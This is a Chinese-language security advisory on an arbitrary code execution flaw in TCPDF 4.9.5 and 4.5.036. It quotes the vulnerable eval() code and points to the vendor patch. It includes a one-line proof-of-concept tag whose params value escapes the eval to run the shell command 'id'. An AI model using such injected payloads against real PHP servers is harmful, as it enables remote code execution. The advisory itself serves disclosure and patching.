安全研究

安全漏洞
TCPDF params属性任意代码执行漏洞

发布日期:2010-04-08
更新日期:2010-04-09

受影响系统:
Tecnick TCPDF 4.9.5
Tecnick TCPDF 4.5.036
不受影响系统:
Tecnick TCPDF 4.9.006
描述:
BUGTRAQ  ID: 39315

TCPDF是用于生成PDF文档的开源PHP类。

TCPDF回调元素可以注入到HTML代码中,而eval()语句中未经执行任何过滤便使用params属性解析了回调元素,这可能导致注入并执行恶意代码。以下是tcpdf.php文件的15421行的有漏洞代码段:

case 'tcpdf': {
  // NOT HTML: used to call TCPDF methods
  if (isset($tag['attribute']['method'])) {
    $tcpdf_method = $tag['attribute']['method'];
    if (method_exists($this, $tcpdf_method)) {
      if (isset($tag['attribute']['params']) AND
         (!empty($tag['attribute']['params']))) {

        eval('$params = array('.$this->unhtmlentities(
          $tag['attribute']['params']).');');

        call_user_func_array(array($this, $tcpdf_method),
          $params);
      } else {
        $this->$tcpdf_method();
      }
      $this->newline = true;
    }
  }
}

<*来源:Matthias Hecker
  
  链接:http://marc.info/?l=full-disclosure&m=127070398703800&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<tcpdf method="Rect" params=");echo `id`;die(" />

建议:
厂商补丁:

Tecnick
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.tcpdf.org/

浏览次数:2252
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障